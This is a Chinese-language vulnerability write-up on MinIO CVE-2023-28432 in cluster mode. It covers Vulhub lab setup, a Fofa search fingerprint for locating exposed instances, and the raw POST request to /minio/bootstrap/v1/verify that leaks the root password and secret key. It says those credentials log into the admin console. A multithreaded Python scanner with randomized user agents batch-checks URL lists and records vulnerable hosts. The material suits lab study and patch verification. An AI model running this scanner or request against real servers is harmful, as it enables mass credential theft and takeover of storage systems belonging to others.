MinIO集群模式信息泄露漏洞（CVE-2023-28432）

引言

     MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务。虽然轻量，却拥有着不错的性能。它兼容亚马逊S3云存储服务接口，非常适合于存储大容量非结构化的数据。该漏洞会在前台泄露用户的账户和密码。

 

 

靶场搭建

 各位可以自行搭建vulnhub的靶场https://github.com/vulhub/vulhub/tree/master/minio/CVE-2023-28432https://github.com/vulhub/vulhub/tree/master/minio/CVE-2023-28432，具体的搭建可以网上搜一下教程

 

Fofa指纹

#app="minio"

漏洞环境 

执行如下命令启动一个MinIO集群，其中包含3个以集群模式运行的服务：

docker-compose up -d

集群启动后，访问http://your-ip:9001可以查看Web管理页面，访问http://your-ip:9000是API服务。

 

 漏洞复现

这个漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify上，发送如下数据包即可查看泄露的环境变量：

POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

 

1、打开burp，把数据包复制进去

2、然后发一下包

 

 

 3、可以看到其中包含MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD这两个信息，这是账户信息。

 

4、使用这个账号密码，即可成功登录管理后台：

 

相关poc 漏洞检测检测

import requests
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random
#app="minio"

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]

def get_ua():
	first_num = random.randint(55, 62)
	third_num = random.randint(0, 3200)
	fourth_num = random.randint(0, 140)
	os_type = [
		'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
		'(Macintosh; Intel Mac OS X 10_12_6)'
	]
	chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

	ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
				   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
				  )
	return ua

proxies={'http': 'http://127.0.0.1:8080',
        'https': 'https://127.0.0.1:8080'}

def wirte_targets(vurl, filename):
	with open(filename, "a+") as f:
		f.write(vurl + "\n")

#poc
def check_url(url):
	url=parse.urlparse(url)
	hostname  = url.hostname
	url=url.scheme + '://' + url.netloc
	vulnurl=url + "/minio/bootstrap/v1/verify"
	headers = {
		'User-Agent': get_ua(),
		"host":hostname,
		"Content-Type": "application/x-www-form-urlencoded"
	}
	data=""
	try:
		res = requests.post(vulnurl, verify=False, allow_redirects=False, headers=headers,data=data ,timeout=5)
		if res.status_code == 200 and "MinioEn" in res.text:
			# print(res.text)
			print("\033[32m[+]{} is vulnerable\033[0m".format(url))
			wirte_targets(vulnurl,"vuln.txt")
		else:
			print("\033[34m[-]{} not vulnerable.\033[0m".format(url))
	except Exception as e:
		print("\033[34m[!]{} request false.\033[0m".format(url))
		pass

#多线程
def multithreading(url_list, pools=5):
	works = []
	for i in url_list:
		# works.append((func_params, None))
		works.append(i)
	# print(works)
	pool = threadpool.ThreadPool(pools)
	reqs = threadpool.makeRequests(check_url, works)
	[pool.putRequest(req) for req in reqs]
	pool.wait()


if __name__ == '__main__':
	arg=ArgumentParser(description='check_url By m2')
	arg.add_argument("-u",
						"--url",
						help="Target URL; Example:http://ip:port")
	arg.add_argument("-f",
						"--file",
						help="Target URL; Example:url.txt")
	args=arg.parse_args()
	url=args.url
	filename=args.file
	print("[+]任务开始.....")
	start=time()
	if url != None and filename == None:
		check_url(url)
	elif url == None and filename != None:
		for i in open(filename):
			i=i.replace('\n','')
			url_list.append(i)
		multithreading(url_list,10)
	end=time()
	print('任务完成,用时%ds.' %(end-start))

注：这就是个检测

python3 poc.py -u http://127.0.0.1:1111 单个url测试

python3 poc.py -f url.txt 批量检测

扫描结束后会在当前目录生成存在漏洞url的vuln.txt